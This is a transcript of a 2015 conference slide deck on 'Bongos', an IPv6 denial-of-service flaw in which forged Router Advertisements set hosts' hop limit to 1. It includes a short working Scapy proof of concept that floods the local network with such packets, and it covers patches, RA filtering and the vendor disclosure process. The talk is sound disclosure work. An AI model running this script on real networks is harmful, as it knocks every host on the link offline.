bongos - modiobongos: what is it 2015-05-06 tcp-ip/geeks ipv6: some details things you need to know...
TRANSCRIPT
![Page 1: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/1.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
BongosIt’s not the end of the Internet
https://www.bongos.se/
![Page 2: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/2.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
● Simple (IPv6) Denial of Service Attack○ Cross platform
● Simple to Exploit○ Link Local
Bongos: What is it
![Page 3: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/3.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
IPv6: Some details
Things you need to know
![Page 4: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/4.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
IPv6: Hop Limit
TTL in IPv4 was renamedHop Limit in IPv6
![Page 5: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/5.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
IPv6: Hop Limit
All routers decrease hop limit by 1reject if 0
Reject if < 255 for Link Local
![Page 6: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/6.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
IPv6: Neighbour Discovery
Things you need to know
![Page 7: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/7.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
IPv6: Neighbour Discovery
Client & Router
![Page 8: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/8.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
IPv6: Neighbour Discovery(short & incorrect)
Client: Asks for routesRouter: Advertises routes
![Page 9: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/9.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
IPv6: Router Advertisement
ICMP Type ICMP Code Checksum
Cur Hop limit M|O|Reserved Router Lifetime
Reachable time
Retrans timer
Options
![Page 10: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/10.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
IPv6: Router Advertisement
ICMP Type ICMP Code Checksum
Cur Hop limit M|O|Reserved Router Lifetime
Reachable time
Retrans timer
Options
![Page 11: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/11.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
IPv6: Quoth the RFC
“If the received Cur Hop Limit value is non-zero, the host SHOULD set its CurHopLimit variable to the received value.”
![Page 12: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/12.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
IPv6: But...
What if there’s nothing else in the Router Advertisement?
![Page 13: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/13.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Exploit
Let’s see what happens!
![Page 14: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/14.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Exploit: SCAPY rocks
A (Python) framework for packet manipulation
![Page 15: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/15.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Exploit: bongos.py
#!/bin/env python
import scapy.all
from scapy.layers.inet6 import *
ip = IPv6()
ip.dst = "ff02::1"
![Page 16: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/16.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Exploit: bongos.py
icmp = ICMPv6ND_RA()
icmp.chlim = 1
send(ip/icmp, loop=True,inter=1)
![Page 17: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/17.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Exploit: And then what?
Clients see RA packet and Apply the Hop Limit
![Page 18: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/18.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Impact
Hop Limit is per interface
![Page 19: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/19.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Impact
Hop Limit is suddenly 1
![Page 20: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/20.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Impact
Hop Limit is suddenly 1
Globally
![Page 21: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/21.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Impact
All outgoing packets get dropped at first router
![Page 22: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/22.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Impact: Operating Systems Linux
( Android, RHEL, SuSE…) FreeBSD
( Juniper, PFSense) Apple OS X Apple iOS Microsoft Windows 8.x
![Page 23: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/23.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Impact: Protection
RFC 3756:“….ignore very small hop limits.”
![Page 24: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/24.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Patch your OS:● Linux● BSD
Impact: Fixes
![Page 25: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/25.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Patch your OS:● Android?● Apple?● Others?
Impact: Fixesworkarounds
![Page 26: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/26.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Impact: Fixesworkarounds
Filter out RA packets● Switches● Firewalls● Wifi access points
![Page 27: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/27.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Impact: Fixesworkarounds
Suspicious RA packets● Local firewall
![Page 28: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/28.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
Then what?
![Page 29: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/29.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
Vendor sec / OSS sec
![Page 30: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/30.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
CERT/CC!
![Page 31: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/31.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
With patch!
![Page 32: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/32.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
And PoC!
![Page 33: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/33.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
Then silence
![Page 34: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/34.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
45 days disclosure timeline
![Page 35: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/35.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
Question about upstream
![Page 36: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/36.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
OK to post patches!( 2 weeks )
![Page 37: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/37.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
Patches are public( woups )
![Page 38: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/38.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
Instant disclosure by CERT
![Page 39: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/39.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
WOUPS
![Page 40: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/40.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
CVE request
![Page 41: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/41.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Reporting
It’s all open
![Page 42: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/42.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Bongos: Recap
● Link Local● Cross Platform● Easy● Reporting still sucks
![Page 43: Bongos - ModioBongos: What is it 2015-05-06 TCP-IP/Geeks IPv6: Some details Things you need to know 2015-05-06 TCP-IP/Geeks IPv6: Hop Limit TTL in IPv4 was renamed Hop Limit in IPv6](https://reader034.vdocuments.site/reader034/viewer/2022042601/5f83eba44e7fee6f772b2582/html5/thumbnails/43.jpg)
www.modio.se2015-05-06 TCP-IP/Geeks
Questions?
https://www.bongos.se/